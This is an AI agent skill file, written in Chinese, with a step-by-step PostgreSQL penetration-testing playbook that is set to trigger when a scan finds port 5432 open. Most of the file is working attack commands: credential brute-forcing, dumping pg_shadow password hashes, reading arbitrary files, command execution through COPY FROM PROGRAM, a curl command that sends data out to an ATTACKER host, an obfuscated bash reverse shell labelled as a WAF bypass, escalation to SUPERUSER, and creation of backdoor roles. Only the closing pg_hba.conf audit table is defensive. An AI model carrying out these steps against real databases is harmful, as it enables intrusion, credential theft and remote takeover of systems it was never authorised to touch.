| name | postgresql-pentesting |
| description | PostgreSQL 数据库服务(5432 端口)渗透测试方法论。涵盖 PostgreSQL 服务发现、默认凭据测试、数据库枚举、文件读写(COPY/lo_import)、命令执行(RCE via UDF/扩展)、权限提升、已知漏洞利用。
当 Agent 扫描发现 5432 端口开放、需要测试 PostgreSQL 认证、通过数据库实现文件读写或命令执行时,触发此 Skill。
|
| metadata | {"tags":["postgresql","postgres","数据库","5432端口","rce","文件读写","copy命令"],"category":"exploit/network-service"} |
PostgreSQL 渗透测试方法论 (5432)
深入参考
整体决策树
发现 5432/5433 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 PostgreSQL 版本
│ ├─ 判断运行环境 (本地 / AWS RDS / GCP Cloud SQL / Supabase)
│ └─ 识别监听地址与认证策略 (pg_hba.conf)
├─ Phase 2: 认证测试
│ ├─ 默认凭据 (postgres:postgres / postgres:空)
│ ├─ 空密码测试
│ ├─ 密码喷洒 / 暴力破解
│ └─ trust 认证利用 (本地 / peer)
├─ Phase 3: 数据库枚举
│ ├─ 用户与角色 (superuser / CREATEROLE / 特权组)
│ ├─ 数据库 / Schema / 表
│ ├─ 敏感数据 (pg_shadow / pg_authid)
│ └─ 已安装扩展与可用语言
├─ Phase 4: 文件读写
│ ├─ COPY FROM — 读取文件到表
│ ├─ pg_read_file / pg_read_binary_file — 直接读
│ ├─ COPY TO — 写文件
│ ├─ lo_import / lo_export — 大对象读写 (二进制安全)
│ └─ 覆盖 filenode — 修改表数据 (无 UPDATE 权限)
├─ Phase 5: 命令执行 (RCE)
│ ├─ COPY FROM PROGRAM — 直接命令执行
│ ├─ UDF / PL 语言 — plpython / plperl / plsh
│ ├─ 恶意扩展加载 (.so)
│ └─ 配置文件 RCE (ssl_passphrase_command / archive_command / preload_libraries)
├─ Phase 6: 权限提升
│ ├─ CREATEROLE -> 特权组 (pg_execute_server_program 等)
│ ├─ 本地 trust 认证 -> SUPERUSER
│ ├─ ALTER TABLE + 索引函数提权 (GCP)
│ ├─ SECURITY DEFINER 函数滥用
│ └─ 覆盖 pg_authid filenode -> SUPERUSER
└─ Phase 7: 已知漏洞与后渗透
├─ CVE-2019-9193 (COPY FROM PROGRAM, 官方声明为特性)
├─ Metasploit 模块
├─ pgAdmin 密码提取
└─ 日志与配置审计
Phase 1: 服务发现与版本识别
1.1 端口与服务探测
nmap -sV -sC -p 5432,5433 <IP>
msf> use auxiliary/scanner/postgres/postgres_version
1.2 环境判断
识别运行环境
├─ 发现 rdsadmin 数据库 -> AWS RDS 托管实例
├─ 发现 cloudsqladmin 用户 -> GCP Cloud SQL
├─ 发现 supabase_admin 用户 -> Supabase 托管
└─ 标准安装 -> 检查 pg_hba.conf / listen_addresses
SELECT version();
SELECT user, current_database();
SELECT current_setting('is_superuser');
SHOW data_directory;
1.3 本地环境审计 (已有 Shell)
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
rg -n "^(host|local)|trust|peer|md5|scram|password" /etc/postgresql 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
关键判断:
trust 规则 -> 无密码认证,直接连接
peer 规则 -> 切换到 postgres OS 用户后连接
.pgpass 存在 -> 可能包含明文凭据
Phase 2: 认证测试
2.1 连接方式
psql -U postgres
psql -h <IP> -U <user> -d <database>
psql -h <IP> -p 5432 -U <user> -W <password> <database>
2.2 凭据测试决策树
尝试连接 PostgreSQL
├─ 1) 默认凭据
│ ├─ postgres:postgres
│ ├─ postgres:(空)
│ └─ admin:admin
├─ 2) trust 认证 (本地)
│ ├─ sudo -u postgres psql
│ └─ psql -h 127.0.0.1 -U postgres
├─ 3) 密码喷洒
│ ├─ hydra -t 4 -l postgres -P wordlist.txt <IP> postgres
│ └─ msf> use auxiliary/scanner/postgres/postgres_login
├─ 4) dblink 本地认证绕过
│ └─ 通过 dblink 连接 127.0.0.1 利用 trust 规则
└─ 5) PL/pgSQL 密码爆破
└─ -> 读 references/postgresql-techniques.md #密码爆破
2.3 dblink 本地认证绕过
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
CREATE EXTENSION dblink;
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=postgres
password=anything
dbname=postgres',
'SELECT usename, passwd FROM pg_shadow')
RETURNS (usename TEXT, passwd TEXT);
Phase 3: 数据库枚举
3.1 基础信息收集
\list
SELECT datname FROM pg_database;
\c <database>
\d
SELECT schemaname, tablename, tableowner FROM pg_tables;
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+
3.2 用户与权限枚举
\du+
SELECT usename, passwd FROM pg_shadow;
SELECT
r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole,
r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof,
r.rolreplication
FROM pg_catalog.pg_roles r ORDER BY 1;
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants;
3.3 关键特权组
特权组检查
├─ pg_execute_server_program -> 可执行系统命令
├─ pg_read_server_files -> 可读任意文件
├─ pg_write_server_files -> 可写任意文件
└─ 成员关系确认: \du+ 或查询 pg_auth_members
3.4 扩展与语言
SELECT * FROM pg_extension;
SHOW rds.extensions;
SELECT lanname, lanacl FROM pg_language;
\df pg_catalog.*
SELECT * FROM pg_proc WHERE proname LIKE 'pg_read%';
Phase 4: 文件读写
4.1 文件读取决策树
文件读取路径
├─ superuser 或 pg_read_server_files 成员
│ ├─ COPY 读取
│ │ ├─ CREATE TABLE t(c text);
│ │ ├─ COPY t FROM '/etc/passwd';
│ │ └─ SELECT * FROM t;
│ ├─ pg_read_file()
│ │ └─ SELECT pg_read_file('/etc/passwd', 0, 1000000);
│ ├─ pg_read_binary_file()
│ │ └─ SELECT pg_read_binary_file('/etc/passwd');
│ └─ pg_ls_dir() — 列目录
│ └─ SELECT * FROM pg_ls_dir('/tmp');
├─ CREATEROLE 权限
│ ├─ GRANT pg_read_server_files TO <user>;
│ └─ 回到上方 superuser 路径
└─ lo_import() — 大对象导入
├─ SELECT lo_import('/etc/passwd', 13337);
└─ SELECT encode(lo_get(13337), 'escape');
注意: 使用 pg_read_file / pg_ls_dir 前需切换到 postgres 数据库 (\c postgres),否则可能报权限错误。
4.2 文件写入决策树
文件写入路径
├─ superuser 或 pg_write_server_files 成员
│ ├─ COPY TO — 文本写入
│ │ └─ COPY (SELECT convert_from(decode('<B64>','base64'),'utf-8')) TO '/path/file';
│ │ 注意: 不支持换行符,必须单行 base64; 不能写二进制
│ └─ lo_export() — 二进制安全写入
│ ├─ SELECT lo_from_bytea(13338, decode('<B64>','base64'));
│ └─ SELECT lo_export(13338, '/path/file');
├─ CREATEROLE 权限
│ ├─ GRANT pg_write_server_files TO <user>;
│ └─ 回到上方 superuser 路径
└─ 覆盖 filenode — 无 UPDATE 时修改表数据
└─ -> 读 references/postgresql-techniques.md #filenode覆盖
Phase 5: 命令执行 (RCE)
5.1 RCE 路径决策树
命令执行路径
├─ 方法 A: COPY FROM PROGRAM (PostgreSQL >= 9.3)
│ ├─ 需要: superuser 或 pg_execute_server_program 成员
│ ├─ 直接执行
│ │ ├─ CREATE TABLE cmd_exec(cmd_output text);
│ │ ├─ COPY cmd_exec FROM PROGRAM 'id';
│ │ └─ SELECT * FROM cmd_exec;
│ └─ 反弹 Shell
│ └─ COPY t FROM PROGRAM 'perl -MIO -e ''...reverse shell...''';
├─ 方法 B: PL 语言 (需要已安装)
│ ├─ PL/Python (plpython3u)
│ │ └─ CREATE FUNCTION cmd(c text) RETURNS text AS $$ import os; return os.popen(c).read() $$ LANGUAGE plpython3u;
│ ├─ PL/Perl (plperlu)
│ └─ PL/sh
│ └─ -> 读 references/postgresql-techniques.md #PL语言RCE
├─ 方法 C: 恶意扩展 (.so)
│ ├─ 编译恶意 .so (需匹配 PG 版本)
│ ├─ 通过 lo_export 上传到服务器
│ └─ CREATE EXTENSION 或 LOAD 加载
│ └─ -> 读 references/postgresql-techniques.md #恶意扩展
├─ 方法 D: 配置文件 RCE
│ ├─ ssl_passphrase_command -> 加密私钥 + pg_reload_conf()
│ ├─ archive_command -> WAL 触发命令执行
│ └─ session_preload_libraries -> 预加载恶意 .so
│ └─ -> 读 references/postgresql-techniques.md #配置文件RCE
└─ WAF 绕过: 使用 DO $$ + CHR() 构造 COPY PROGRAM
└─ DO $$ DECLARE cmd text; BEGIN cmd := CHR(67)||'OPY...'; EXECUTE cmd; END $$;
5.2 COPY FROM PROGRAM 快速参考
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?f=`ls -l|base64`';
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
5.3 WAF 绕过 (SQLi 上下文)
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"''';
EXECUTE cmd;
END $$;
Phase 6: 权限提升
6.1 提权路径决策树
权限提升路径
├─ 已有 CREATEROLE
│ ├─ GRANT pg_execute_server_program TO <user>; -> RCE
│ ├─ GRANT pg_read_server_files TO <user>; -> 文件读
│ ├─ GRANT pg_write_server_files TO <user>; -> 文件写
│ └─ ALTER USER <other> WITH PASSWORD 'new'; -> 修改他人密码
├─ 已有 RCE (pg_execute_server_program)
│ └─ 本地 trust 认证 -> 提升 SUPERUSER
│ └─ COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <you> WITH SUPERUSER;"';
├─ 已有文件读写
│ ├─ 覆盖 pg_authid filenode -> 设置 rol* 标志位 = 1
│ │ ├─ 获取 data_directory
│ │ ├─ SELECT pg_relation_filepath('pg_authid');
│ │ ├─ lo_import / lo_export 下载并编辑 filenode
│ │ └─ -> 读 references/postgresql-techniques.md #filenode提权
│ └─ 覆盖 postgresql.conf -> 配置文件 RCE
├─ ALTER TABLE 提权 (GCP Cloud SQL)
│ ├─ 创建带恶意索引函数的表
│ ├─ ALTER TABLE owner TO cloudsqladmin
│ └─ ANALYZE 触发函数以 owner 权限执行
│ └─ -> 读 references/postgresql-techniques.md #ALTER_TABLE提权
├─ SECURITY DEFINER 函数滥用
│ ├─ 搜索存在 SQL 注入的 SECURITY DEFINER 函数
│ └─ 注入提权 SQL
└─ 事件触发器提权 (Supabase)
├─ 创建 ddl_command_start/end 事件触发器
├─ DROP/CREATE EXTENSION postgres_fdw 触发 superuser 窗口
└─ 触发器在 superuser 上下文中创建后门角色
└─ -> 读 references/postgresql-techniques.md #事件触发器提权
6.2 CREATEROLE 快速提权
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
CREATE ROLE pwn LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;
ALTER USER target_user WITH PASSWORD 'new_password';
6.3 本地 trust 认证提升到 SUPERUSER
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"';
Phase 7: 已知漏洞与后渗透
7.1 Metasploit 模块
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_login
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
7.2 dblink 端口扫描
SELECT * FROM dblink_connect('host=TARGET port=PORT user=x password=x dbname=x connect_timeout=10');
7.3 pgAdmin 密码提取
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
7.4 日志配置审计
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
7.5 pg_hba.conf 审计要点
| 配置 | 风险说明 |
|---|
local all all trust | 本地用户无密码访问所有数据库 |
host all all 0.0.0.0/0 trust | 任意远程无密码访问 (严重) |
host all all 127.0.0.1/32 trust | 本地回环无密码访问 |
peer 映射 | OS 用户直接映射 DB 角色 |
md5 / password | md5 可被中间人,password 明文传输 |